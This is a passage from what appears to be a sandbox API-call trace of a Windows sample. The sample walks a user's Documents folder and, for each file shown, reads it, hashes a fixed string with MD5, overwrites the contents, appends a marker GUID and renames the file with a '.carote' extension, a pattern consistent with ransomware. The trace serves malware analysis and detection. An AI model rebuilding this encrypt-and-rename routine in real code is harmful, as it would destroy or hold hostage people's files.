wULCS0yD\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb02a11f0, ftCreationTime.dwHighDateTime=0x1d4cfbe, ftLastAccessTime.dwLowDateTime=0x2932e900, ftLastAccessTime.dwHighDateTime=0x1d4d0b4, ftLastWriteTime.dwLowDateTime=0x2932e900, ftLastWriteTime.dwHighDateTime=0x1d4d0b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.608] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb02a11f0, ftCreationTime.dwHighDateTime=0x1d4cfbe, ftLastAccessTime.dwLowDateTime=0x2932e900, ftLastAccessTime.dwHighDateTime=0x1d4d0b4, ftLastWriteTime.dwLowDateTime=0x2932e900, ftLastWriteTime.dwHighDateTime=0x1d4d0b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.608] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaa59a90, ftCreationTime.dwHighDateTime=0x1d4d51a, ftLastAccessTime.dwLowDateTime=0xd1a82450, ftLastAccessTime.dwHighDateTime=0x1d4ccc8, ftLastWriteTime.dwLowDateTime=0xd1a82450, ftLastWriteTime.dwHighDateTime=0x1d4ccc8, nFileSizeHigh=0x0, nFileSizeLow=0x18ec9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-88UgF-e_va- z.pdf", cAlternateFileName="-88UGF~1.PDF")) returned 1 [0112.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0112.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.608] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\-88UgF-e_va- z.pdf") returned=".pdf" [0112.608] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\-88UgF-e_va- z.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m8ml-6lnm1 wulcs0yd\\-88ugf-e_va- z.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.609] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=102089) returned 1 [0112.609] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.610] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18ea3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.611] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.612] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.612] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x18ec9, lpOverlapped=0x0) returned 1 [0112.613] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.613] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.613] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.613] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecac8) returned 1 [0112.614] CryptCreateHash (in: hProv=0x50ecac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.614] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.614] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.614] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.614] GetLastError () returned 0x0 [0112.614] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.614] CryptReleaseContext (hProv=0x50ecac8, dwFlags=0x0) returned 1 [0112.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x18ed0) returned 0x7b182e0 [0112.614] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.614] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x18ec4, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x18ec4, lpOverlapped=0x0) returned 1 [0112.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.615] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18ec9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.615] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.615] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.615] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.615] CloseHandle (hObject=0x61c) returned 1 [0112.616] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0112.616] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0112.616] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0112.616] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\-88UgF-e_va- z.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m8ml-6lnm1 wulcs0yd\\-88ugf-e_va- z.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\-88UgF-e_va- z.pdf.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m8ml-6lnm1 wulcs0yd\\-88ugf-e_va- z.pdf.carote")) returned 1 [0112.617] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.617] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0112.618] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6cccda0, ftCreationTime.dwHighDateTime=0x1d4d193, ftLastAccessTime.dwLowDateTime=0x7c492c00, ftLastAccessTime.dwHighDateTime=0x1d4cb1c, ftLastWriteTime.dwLowDateTime=0x7c492c00, ftLastWriteTime.dwHighDateTime=0x1d4cb1c, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CqqYDQxTwNdH.xls", cAlternateFileName="CQQYDQ~1.XLS")) returned 1 [0112.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0112.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.618] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\CqqYDQxTwNdH.xls") returned=".xls" [0112.618] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\CqqYDQxTwNdH.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m8ml-6lnm1 wulcs0yd\\cqqydqxtwndh.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.618] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=12981) returned 1 [0112.618] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.620] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x328f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.620] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.621] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.621] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.621] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x32b5, lpOverlapped=0x0) returned 1 [0112.622] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.622] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.622] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.622] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecac8) returned 1 [0112.623] CryptCreateHash (in: hProv=0x50ecac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.623] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.623] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.623] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.623] GetLastError () returned 0x0 [0112.623] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.623] CryptReleaseContext (hProv=0x50ecac8, dwFlags=0x0) returned 1 [0112.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x32c0) returned 0x7b182e0 [0112.623] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.623] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x32b0, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x32b0, lpOverlapped=0x0) returned 1 [0112.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.623] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x32b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.624] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.624] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.624] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.624] CloseHandle (hObject=0x61c) returned 1 [0112.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0112.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0112.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0112.625] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\CqqYDQxTwNdH.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m8ml-6lnm1 wulcs0yd\\cqqydqxtwndh.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\CqqYDQxTwNdH.xls.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m8ml-6lnm1 wulcs0yd\\cqqydqxtwndh.xls.carote")) returned 1 [0112.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.625] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0112.626] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d7ce60, ftCreationTime.dwHighDateTime=0x1d4c864, ftLastAccessTime.dwLowDateTime=0xc9d27ff0, ftLastAccessTime.dwHighDateTime=0x1d4cb8d, ftLastWriteTime.dwLowDateTime=0xc9d27ff0, ftLastWriteTime.dwHighDateTime=0x1d4cb8d, nFileSizeHigh=0x0, nFileSizeLow=0x1208c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rsZM.odp", cAlternateFileName="")) returned 1 [0112.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0112.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.626] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\rsZM.odp") returned=".odp" [0112.626] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\rsZM.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m8ml-6lnm1 wulcs0yd\\rszm.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.627] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=73868) returned 1 [0112.627] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.628] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12066, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.628] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.630] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.630] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x1208c, lpOverlapped=0x0) returned 1 [0112.631] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.631] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.631] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.631] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecac8) returned 1 [0112.631] CryptCreateHash (in: hProv=0x50ecac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.631] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.631] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.632] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.632] GetLastError () returned 0x0 [0112.632] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.632] CryptReleaseContext (hProv=0x50ecac8, dwFlags=0x0) returned 1 [0112.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x12090) returned 0x7b182e0 [0112.632] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.632] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x12087, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x12087, lpOverlapped=0x0) returned 1 [0112.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.632] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1208c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.633] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.633] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.633] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.633] CloseHandle (hObject=0x61c) returned 1 [0112.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f190 [0112.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0112.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f190 | out: hHeap=0x5010000) returned 1 [0112.634] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\rsZM.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m8ml-6lnm1 wulcs0yd\\rszm.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\rsZM.odp.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m8ml-6lnm1 wulcs0yd\\rszm.odp.carote")) returned 1 [0112.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.634] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0112.635] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a7ae50, ftCreationTime.dwHighDateTime=0x1d4c677, ftLastAccessTime.dwLowDateTime=0xa27e2390, ftLastAccessTime.dwHighDateTime=0x1d4c661, ftLastWriteTime.dwLowDateTime=0xa27e2390, ftLastWriteTime.dwHighDateTime=0x1d4c661, nFileSizeHigh=0x0, nFileSizeLow=0x43fc, dwReserved0=0xa0000003, dwReserved1=0x0, 